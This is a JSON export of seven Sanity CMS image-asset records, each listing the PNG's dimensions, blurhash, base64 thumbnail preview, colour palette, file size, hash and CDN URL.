{"_createdAt":"2022-06-30T20:10:05Z","_id":"image-3f5fb3eba6a33c9bd7983e25c2cdca0fb5a7062c-1567x844-png","_rev":"lf1jOsEAA7PAFZMZhZok7s","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:38Z","assetId":"3f5fb3eba6a33c9bd7983e25c2cdca0fb5a7062c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEEwzd-U0KMz:72[E##mw[Ef1HwJ}E%2tR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADb0lEQVQokTXOfUwTdxzH8e9dwbar4owPbIJhyEO7XuF+Z6+ldHB9goZCIxU6kKpLEIiiAyag4sKwypAiSNvrXXslBuYyH/EB3fxDQKodRDTLlmxzuvEHS7bExZgtaiI+BQzg/njn898rH0AILUEILSVJcvn8UhQVU7m9Gp6+nIPW/Z+D78plmFLmwVTTYZj28PB7zX54CADB8HHw8QL4hT5gOWGhAC8AIITeQQitJklyLUJoZX6+VdLrC8TwoT7cywtY0HMM+87mirluckoj5jLZqMkpubipEvcHw8CxQQiwPLBcaKH/wRiEkJQkSRlCSFK769MlLBeShNhA7Il+Fh+srRONZdkTxplS+4Sl/JNojoMZ1hau6PKxWPDLLoxv9wDb4wP/fN3eBRCys7NBoVDAnbt/AhcMi1hekHj94VhndBrzOXaIxpA1O6q1nxzXF/8Q1RQeuU5ZU72RUewrH4/3dfbA1V9/hlPDIxAI9S2CofBxcGwqgZ1lVvBzgojjOPGlo03iKY9TfK/qY9nNTEvBDZV54obK8iRCmAdGVGaioX4P3lu5C+c/a4Hy99OgwWIHb1v7IpiXlw80TcO9+njwhC/gp4/tkzxqVSS+PkAZX9UWFN/XWxujCsOPY3Lm8bA899w3BOPooU3qLpU+9VBSpvTsjj0QLioH9zoVwEyRBoaMetiioWG8agU09/+Cjxwpl820xBtnG9NPzFblRh+Y8odvKY3TYwrDkyvpOZM88dFgN2LOdCqymt2JRNLp7XUgWEvAnaAEeFaMYMhAQ4Wagrk5gJqBf7HvOx2yF83vbpytXTs5W4EeP2SMv00Sxr/nH15M09/vTVFPd6SqH7Uno6/dCUoVm2ODbjJ3EZwp1IouM7pYF03HMpoPcduBcey2xy6ZaYzLfVmzZuC5k7j5gDGcu5VhvjqqNEbOy/UXuteja+7kjAl3kqrjYCKR0pJigjYi6+3DjdSyIYN2jYtWr1SSmVKTsQS763fi/zWueu+f6gTzX2UZpX9YLNaIrsj+LW0rObnBZDuq1ZUe1mhcB1W0ru0DtGxz2l5oKSgG9zoC4FkpEXfJvCHepaFWyTNJaR5NYQAAgztJTNiWLua2KGX9lXZJ/+4maU9VneyLmmppR1tFXGdr2XL37s3iet1WSE79CZrqG+CQXANvAOqZOkm/VwzeAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f5058","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e0e05","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6a10","foreground":"#fff","population":1.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca4ac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa463d","foreground":"#fff","population":1.67,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986a4d","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6a10","foreground":"#fff","population":1.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3f5fb3eba6a33c9bd7983e25c2cdca0fb5a7062c-1567x844.png","path":"images/sczeoy4w/production/3f5fb3eba6a33c9bd7983e25c2cdca0fb5a7062c-1567x844.png","sha1hash":"3f5fb3eba6a33c9bd7983e25c2cdca0fb5a7062c","size":36166,"uploadId":"8uT4Y2JCissQHEq7KRsPDY8b6zZANLEW","url":"https://cdn.sanity.io/images/sczeoy4w/production/3f5fb3eba6a33c9bd7983e25c2cdca0fb5a7062c-1567x844.png"} {"_createdAt":"2022-06-30T20:10:02Z","_id":"image-23037502ee22969bc30c9b496983f3d2f3be7b33-1567x844-png","_rev":"sI1gFaRN7B5HWmjllABCpl","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:36Z","assetId":"23037502ee22969bc30c9b496983f3d2f3be7b33","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGF4Wi-T0eIWzV7LJAwJr=J60ysA}F%1x]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADeElEQVQokT2R/1PTdRzHX+99NiarrVOEAjNTGZub2+e9z23jy+aYnw02wBO8BSFUUp5mZgkSlsl0wBZsuo0Pn81tkApCP2QYCJ565EbMLDuNu+A8u8sfvI68TusHrwvSwz7Funr+AY97PO4JGOM0jPHTJElKMMYiiqKIN/fshdm5B7A0juNgGtthumonzDQ0wXflr8H0M0pg+89ADxMGJtoHPaEIsOEosKEoAEmSIoxxJkmS2RoNtdxeViY8HmB4vbGTqP+zc+hTjx9N0NVpSXu95OvKN1ZMlW4XX7TW8Fk/g9gTMQgx4f9hbDgCgDHmY4zT1Wq1yGAwLGt+730h0xMSnI2FiVsz1/k3fN3CSX1F3lXjth3X6JqWZFHlS1coe06orZPHxj5GEV8wBfzPcgkIL9duT6UxbASx4WhakI0Ko6fH+N9yHJH0hEQJXGqbouwXk7qKu1MaW39cbaFCTYcIxu3lhVtaUcDZDv7WNggecaeSgWFPpOghphsx4V5BH+MTTrdVpf/qdTx1p6F2RVJFV08qzDcnFZsfTyrM4/GNdH5kYIgX/GEWDV6Jw1nuMVziOBh4+OBfw8amZhgeGYdzxxpRW+8F/jfuLeKFg9mqJwdUjkcNpa/czi9xTsmLv0/ITPMJefHYZaXZGCipEvnorcu6CksJFzbC4TwtuPU0wEKFDoa32FOPfuHahl4duk/cOaLKXGxevovbJ/3ySb3p5pyxJP7VBvPdhMz054Rs09UBWVGjT22s7VIWVnSsxS+2ZuYSB0U54FqtBJivxDBmIGGn1QKPWBqtG+fQnFOatdgoPvDXrtU/Ljq0v9wroq9fU5hvJ+TF9y/kGW+EpLrRTrk+7snTnmlfoypxZkmFhyQvgGuVAmChXE+cNxUI6ihKUE2ThMTLoXtHZeKF/RL7H6+vCv5ehaM/GSyuJGn1T6gsvSMbTN5uudbboaBOt0s1Htcatd6VIxM4M9aD6/klw60a8WixPqtOS2UoMZluLa/n/XaskPj5nayMWzvWbpx1aMgZa1nuJbNDMbypkhwssMkDFqPKbTMUHC00KJyyfEnn+lzUmZYNrnUYYN6hlIzQ1LN1Os1KmRqn23UYtdgk8PZeFZxqfo4Y+GAl3xOzo3eHRtFu33FU1udHXZ/v4wU+2cPvGHTyyjkOarIPw4e734KP/jnibyBGRKoOTY6SAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#524135","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c0c1c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96911","foreground":"#fff","population":1.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4a4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1a573","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae4b51","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96911","foreground":"#fff","population":1.81,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"23037502ee22969bc30c9b496983f3d2f3be7b33-1567x844.png","path":"images/sczeoy4w/production/23037502ee22969bc30c9b496983f3d2f3be7b33-1567x844.png","sha1hash":"23037502ee22969bc30c9b496983f3d2f3be7b33","size":34526,"uploadId":"ac8So9C3D43nREBh2ET2QlfWuOY29Ctp","url":"https://cdn.sanity.io/images/sczeoy4w/production/23037502ee22969bc30c9b496983f3d2f3be7b33-1567x844.png"} {"_createdAt":"2022-06-30T20:10:32Z","_id":"image-1d9b5d2030357b616e6f45c2732e9712435a0985-2500x2500-png","_rev":"CK1sLU2mnwa3vmbYWEdzyk","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:34Z","assetId":"1d9b5d2030357b616e6f45c2732e9712435a0985","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e3RepcIor=~VRQ0ft7%LNHt64os.E1e:Rk56kC%2bHj[00t6IoWBWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAADKElEQVQ4jY2TzXLaVhTH/SZd9QGyTafTbrNJV91m03zs8gRJSl+k01fI2Jg4gADZBokrZD7MN0iCKycGgzEYxwjQOZ1zdYWx6+lk8Z9z7h346X8+7g5w9gNw9itw9tuWngFnPwNnTx/RTw/iU8rRNUg/7gBnzz1b+3vWUNXLakqd1NIUlYtKMjqqJHfHp8rupJYWovyx86yp7q0c/R90jRc76Bqv5+2jwpl54Nvart/LR/1+fn9t5XaXtrbnOXrU4yzmcSPm2fqeR3eUk3r5qNCwnFgurFwdXeMdAd986xyfnBfjyFkMzwqf8It5IOLXk89I94NSHIelBJ4X6fwZh+WEEN1flJM4a6q4cvQWusZ74dCzcuakloaLSnKj8akC00YGrpuHcN1UZZRqBfrWOQbP1ny/n0fg7A64tDVz1lRhUksBgcenCo6rCl7V0zhtZHBal6K8kcErkat4282C388DcCaAwJl0aOfMaUOFy2pKiICjShIFmHIZx9XU3bmaolJBuLRyuO7pARA4e72wsiaBBqUEDEpxoP5Qbwg6qih4IWJSgIRkPpYGyPXCyhHwAwFfPQTSHya1tCwtKI80IzVlDHIg3bSPcOlobQFE13i1CIdSDgay5UBAr1uHON/o6C5vHxEMFlRyP99G19gGpgRwVFEoblaDeiac1oNhhCLH89Yh3HSOBdC/B+xmzXFVgWEpIRyGO0a7F/aP4sMPzRrBUJa2JoCbkm+72QLt3XkxLqAEGhTjcqkTAkwfCEVAagm1ad46FA5XPZ2AfxLw5cLKFsKhDMtC/wEIkeNyAi+rKTEscjgnYDd7BwTOXi6sXOGqnqZhwOhUge0Sw/UJdzLoqVz4RkZM+fYh0LMJmBHPjXaLoHLaYkjBrgUrQq5I9ATpfN0UT5De8gb4x6qbNW6qKX9yDyDfsZykZ2uwdKS2c0fzV44eDiVwCC3VXJkxnLB9PDNiotyFlaUfbSTf6/+pC5xFCPg7dtSP6/JBe3py0BkU451JLd1ZOXoHXeN7RPvXRddQ0DXeEvAJ9PNvoKdF1o4WWTl6ZN3T/wLOvkcRKcrfAme//AscsFKMdvSBUQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a4f44","foreground":"#fff","population":0.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c0c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5a4f44","foreground":"#fff","population":0.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2bbac","foreground":"#000","population":0.86,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc48c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b06151","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce8252","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1d9b5d2030357b616e6f45c2732e9712435a0985-2500x2500.png","path":"images/sczeoy4w/production/1d9b5d2030357b616e6f45c2732e9712435a0985-2500x2500.png","sha1hash":"1d9b5d2030357b616e6f45c2732e9712435a0985","size":246251,"uploadId":"JFPuz7D8iQCaWcyv9VhBwg0zNo1M6bxV","url":"https://cdn.sanity.io/images/sczeoy4w/production/1d9b5d2030357b616e6f45c2732e9712435a0985-2500x2500.png"} {"_createdAt":"2022-06-30T20:10:37Z","_id":"image-2d6dedd55557dee3ac95cc08ab7dc765f908c8da-2708x1771-png","_rev":"cEPH2uRN58AU2lp9QO8Ifp","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:38Z","assetId":"2d6dedd55557dee3ac95cc08ab7dc765f908c8da","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VEHLe[M_0LX9?G_4x^R-j]Se00E1~qxtD%5QxD-;t7Z~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5290796160361377,"height":1771,"width":2708},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABcRAAAXEQHKJvM/AAAEKElEQVQ4jQEdBOL7AKmpsgOUkpsEdnSAB3RxfgiSipQEuLG5AsK7xQH+6PMAxDuMAAoAAADJM4UA//D6AL+5wgGmprADkZOeBHZ3hAdzc4ELd3iHBqKjrgKqqrMDAJqksgd8m7YRYo60GEeJshc4krQSS5y2CAAjRgDx2+YAuP//AP///wCg//8A69DbAAASIwB/nLMMhZ20GJ6NlxufhZEiho2tHH2awQyoqLIFAJCfrwt7nLYsZ5W6O0SOuTYrkLUsTqO9Ftrc4wj27e8K8N7pHfHY5i7y3uke9u7wCuHa3wiKpr4XgJy1KaSOlyunhpE1gYyvMXCTvxWmprAFAIqSmw2ElaMyeJevOEqOtyU1lLYds7/SKefB2UXsyt1M7NHibezJ3pbu0eJx68veTunB2EXSvsUtpaGdJ5yQmSaeg5comX+WJ5aGmhOmpq8FAImMlQyJjZUplZWZKJ+Sig620cUJ49HgROfD2p/pyd2n7NflrO3T49Pt1+Wx6MndqejD2aHryslV1bONM5uapDGchKUv0HV8Ktt+cxSoqK8GAIqYsAqBkq0opJqZNt2peCH90ZcN6d/nQ+rY5Z/r3Oao7+Dqr/Hc6dfw4Oq069znqurY5KHo1tRSzLWVKpWboSiSh58nyXp8H9+Ddw6qqbEGAI2euwmBlbYlp5+eNtuzgiftxIgN5ufqH+7t70Xv7fBT7Nnmk+vP4dXu2uaY8O7wVu3t70bV2dwsprW7IH6nnB1lo4Ihcp+AE6ualwWtqbMFAKqAkQmoaXUgooNzK6WzkCWuysYbwM/eEOPr5gfu7u8Z7N3ogOzY5dTu3uiG8e7vHOHu6QeuxdEVnbvLIX21pB9cs4IjWLSIE4arrgSuqLMEAMBpeAvDUlQpo3ZcOY+ylDujys82ssjdGf///wDt6u0R7drnf+3U5NXv2ueF8OrtFP///wCAtMsPerbPHom7yiSBsr0pc6K6HHmXuQisq7MFALt4hgfAXWAWonxjH5GxliGjxssgssXZEAAAAADs6ewP6dLia+nK3rTs0uJw8OnsEgA8VABmrs4QZbPUI4692TGQsdM5fJ3ILHaQuQ6uqK4FAKedpgGliZACkIR6AY6lnQKktsADtr3JAv///wDp6OoG6t3nMOra5lLs3ucz7uvtB2NhaAGgdYoSm3uHKI+injF7sro0gpq3LrFyiBrMdXsLADM1NQMrMTEEJCgrAwAAAACo0t4AiKzMAP///wDq6+oA9P/5BfX//Qny/fcG////AKeGhALMUmAWwlpYMpCObzhls6Q5hZirOMJpeSzUZ20TADU1NQk1NTUONjU1Czg5OARkcXQA////AGxzbgDj6eQA/f//AP///wD///8Av5uhAKqWlwHIYm8Ov2RiHY2PcyFkr6IhgpeqIbtvfxvKdHsNrQM4z8R5zW0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#285155","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#117090","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bfd1","foreground":"#000","population":0.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3bfd1","foreground":"#000","population":0.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef8bb8","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6395a3","foreground":"#fff","population":0.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec3f79","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2d6dedd55557dee3ac95cc08ab7dc765f908c8da-2708x1771.png","path":"images/sczeoy4w/production/2d6dedd55557dee3ac95cc08ab7dc765f908c8da-2708x1771.png","sha1hash":"2d6dedd55557dee3ac95cc08ab7dc765f908c8da","size":430662,"uploadId":"oHvHl8BAzWJDnzFms5RyPTsrkGAB8Qvg","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d6dedd55557dee3ac95cc08ab7dc765f908c8da-2708x1771.png"} {"_createdAt":"2022-06-30T20:10:45Z","_id":"image-4d2816c501ee09a9ed08710a394de1c596bb9d7a-2500x1292-png","_rev":"cEPH2uRN58AU2lp9QO8KyH","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:14Z","assetId":"4d2816c501ee09a9ed08710a394de1c596bb9d7a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPE{Ont7e-t6s,~Vayxat6xuDhWAxut7xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.934984520123839,"height":1292,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC5UlEQVQokWVQSUwTART97cy0Q0uXsKjRA5wNcbgQLyYcCBgTE0/GyMFo4oGLNw9elCKFobSlrTPssrRsnZmWDtOCYFyCoVM6SCLBhKUU2qLxRARkUWipmSYkJh5e3j/89/57H862F5SnSUl3kogWnSYlfSa1gFy9fhey2Syszk1B9vuiIpOS8tJJqSCdkvTppIQAAHydnYTTpISdJKKGnDYR1WW2FxDIpCTdUTxSeRATHx3FIzUniWhhp5MCn3tAIZueJqKqP1vRa8eb8/d/b83XZFILhT73YO7gSSJ66SAm3t5fDz8+3BCr0knJCOmUlH8QE2/srYUf7K+L1btrYpHV2oGSzS7102cWbD36Hj/cmL92EIvcO4xHqo435wtu3qkDYdSjONwQL+6thW/trs49/BUTK9NJyQBy5Z2VsH77y6fLm4uzxR9CgoZsobUvGx2Gxkanrq/Hnbc89864uTh7Jf75Y7HgHdM8f2HFTSYbPskx2g3pw4VvS58u/1wNG87kyjsrIkBJPZA0h9rpEayJpHFTQ5uuvt5mNJnsBnluMFMaGzWM2+lhdRPZnmc2u/Ibzc58czOtaaOG1bZOPyr/9cfyHEA2OwjBQFAZ8IfwsdHxPJfrtZxQR5KUrpmk9Gazy2Cx0Eaa7jfQVJ/WYmlXt7Z2qOxt3Vh3lwdjGV7N+0OqmeBU7udQV/cEeP6tguNCaoYRcM+QT9Xf71XL6OkZxm32Li3ZQhstrR0FJEkZmklK09U1hPn9U4jPF0JZNqhiGEHFskEFwwgApaUlYLW+Ung8LOr18qjfN4kEAtPIxMQMwnEhRBY7nL24nNzh7JUbqPoHGNTrnUAYRkAZRsBYNiizgmWDAARBoBUVFVhVVTVWW/tA6XB0wshIAAYGGXC7OfB4OBgdDYCcgONCIEMW/gs52TlDeXm5hiAIPUEQ2rKyMlSpBGhoIGFpKZ5b8vsngeengedncjw+/uY/U4Y5NxXgL8k1ms6Nz03FAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443424","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c1404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cab7ac","foreground":"#000","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab7ac","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcf4d7","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c7464","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e96a15","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4d2816c501ee09a9ed08710a394de1c596bb9d7a-2500x1292.png","path":"images/sczeoy4w/production/4d2816c501ee09a9ed08710a394de1c596bb9d7a-2500x1292.png","sha1hash":"4d2816c501ee09a9ed08710a394de1c596bb9d7a","size":48756,"uploadId":"BgPSy3eKvXhVyPZoJrGXEnnj9ummNpPk","url":"https://cdn.sanity.io/images/sczeoy4w/production/4d2816c501ee09a9ed08710a394de1c596bb9d7a-2500x1292.png"} {"_createdAt":"2022-06-30T20:11:59Z","_id":"image-3436e0a4388133f5510b7429989a66c3bf76c1b0-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriTdw","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:07Z","assetId":"3436e0a4388133f5510b7429989a66c3bf76c1b0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLQSuO.TR6Sh-pKnIns.t7f+-.H?S$$%R*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADCElEQVQokR3DW2/aZhgAYP/MSbvspGnSbjpNmqZqUbs7JxddpW6atCU0bQ7Lga1ZpiqjQDgECDngFmKMDeYz+PD5OxiDgebQ8L6V+kiP0nfod1bPTVldN921vT2r5+53rMG+YTr7NqG7lE1eiWi+xqP5KpfJmmTei4j2XgouU0zOV30+T7lsvk35bF3I6U9KS++tlivnVi5/MiqW66JYrsts/uTzWl0T7Q5hfYeGrh9RJpIwEjKMWMi4GIc+m1GTJLTVS6TtJjbjk7Ridoe71dNGlM2V8bhQxULpFHP5CuaOK1gs17FW1/BS09EwHSQORYe4OOw76Hohug7HblnH9psL7DX6E0ZFVvFp/JdNKO9YAzS7w4XVc8HsDj/vWAPomARMi4Bh9ODsXIPj4yJkjv6HbDYPF4UymL/9sfAePUb+cmMUt68yCpezHS5ngssZcjkFLqcoZAJCTFCIMQg+AhYKcMgAtIYG+Vwetje34NmzX+DPpyvw36OH0Pj6C6RL38bzf19kFCGnO0JOhZRTlDKBSI4xkjGOxAhjEWEsBEYsxMB10SEEe90untZquJ5K4e8rP+P+8g9w9OQb1B4/iCerP2YUKcc7kYxFJEY4EnIRcwExZzDmIUxYAAnzYUyH4Nkm6M130G7rYBgGlEolyBy+hvPM31A/WMfTjaextb2SUWLOd2LGeMxCHDO6mDAfEubBlLkwCwcwDx2YURu43YKrehHOyjk4q5agUsxBpXAEjXppcVY9wezR0SjzTzqjJIPe7ohYUjgWxp6NM0pwHvbxA7Xxmnbxmlp4E3Tw2tMxti+R6lUkWhGbhV0spFU82FzB7a0NTKcPx7V85q0yM7XnkX7RCIzGQBK9Pw8sckMtchN0yG1gkLtAJ3f+Fbn3W2Thvyf3nkZuB+eEaa/Jyd4S2fz1+/7W2vNB7e1hMzIqr5QPpPVlYr9fivvN5elQV28CQ70NDPUu0NWPfkv96DfVe/+duvA0deFequBdquhdqBOzpF5m99T8wYZqVN4sz7rVJ+hdfPUJ3BrmiyPKF1kAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#403935","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#684e10","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f54f33","foreground":"#fff","population":2.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dabfc2","foreground":"#000","population":0.21,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#68868f","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f54f33","foreground":"#fff","population":2.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3436e0a4388133f5510b7429989a66c3bf76c1b0-1567x844.png","path":"images/sczeoy4w/production/3436e0a4388133f5510b7429989a66c3bf76c1b0-1567x844.png","sha1hash":"3436e0a4388133f5510b7429989a66c3bf76c1b0","size":368375,"uploadId":"QImYD4kLwqSbH3PYtvv6T4cj08duucwC","url":"https://cdn.sanity.io/images/sczeoy4w/production/3436e0a4388133f5510b7429989a66c3bf76c1b0-1567x844.png"} {"_createdAt":"2022-06-30T20:11:41Z","_id":"image-f627adc2c95dc69241a0dc02ad66d9330db271bc-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRrhxnA","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:52Z","assetId":"f627adc2c95dc69241a0dc02ad66d9330db271bc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTP?gv*0tSrCTKO@n3WCgNnN%$I9RjtRs9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACiUlEQVQokXXSW08TQRgG4P03/gUTE+O10f9AvFATQ7wlHCIebgwSgUAkCCJyCMhBBC1BQyCR9GTplpa2lnZ3u93t7s7MtksPa4gZ5zWsIVGDF0/eTL6Z5Jv5RrIcDxWTQTdooFw5TxKkYboBTSdQyzZMqw7qtv9LKiomEsksIjEZ4WgS++FEkOFIEpGojMTBEQ7kLKLxFKLxQxSKBiy7Dsupw7JdVEwCVatC022cNSeVdYKjnIJUugD5MB8cTqbyAfnwGzLZUlDPpPPIxqJQEjEUs1kUjktQFA3ZXB6xeAJJ+Qi6QSAR1oJNGrDJCSznIh6qlgsrn4YZmkJhcQjx7Q3EojGkZBmRSAzrH3fwfjuMRFqDxGo+LtYGYQ2YFkOpqCC7t4HIeDdCQ70IvZ3HfmgTmfVV7C0tYmB0Hj3PVzE0swPpood1aAOWU4NlU6hqGcmDA3zaXMPc+BAmxkawsjSL5NwIyJP7SPXfxtP+bnQ+eomuwTVI9J/OHNqEbjgolyswDBOKoiIlJ7G7/QHLbyYxOz2FjeUZ5F704XvnTdS6LuPz8A28nh7GytZXSMxtC/oHy/FESa2I42JJaFpZqKomjvM5UdhdFZlXfSI61iNio4+F1ntXnN67Jn4OXhLe5lWhJyaFbhAhMbsO++y/GSwYwtl1jSpDWbdQMSwYJkHVtEEPv8Bbeojasw7QB7fQ6O7Aj4Hr4KtXcBq/g4a+B7fWhMRMwqulClcVkxvVGiesxanb4oQ2f2PNYO1ahHuZKG9+WuDNd9O8ubXAW+EJ3kqPcU/d5sypcuq2ucTIiU/sum/Znu/Qpk/dts9q/l/oObflM8fzmV3zGan7jDKfUeozduIztx3s+QVLd/w54WaDhgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c644a","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142a4f","foreground":"#fff","population":2.77,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fab61b","foreground":"#000","population":3.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4cccc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7df68","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a849d","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab61b","foreground":"#000","population":3.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f627adc2c95dc69241a0dc02ad66d9330db271bc-1567x844.png","path":"images/sczeoy4w/production/f627adc2c95dc69241a0dc02ad66d9330db271bc-1567x844.png","sha1hash":"f627adc2c95dc69241a0dc02ad66d9330db271bc","size":311761,"uploadId":"hstajhUL7Y961zsJBHaIW8nYxRwbtdAT","url":"https://cdn.sanity.io/images/sczeoy4w/production/f627adc2c95dc69241a0dc02ad66d9330db271bc-1567x844.png"} 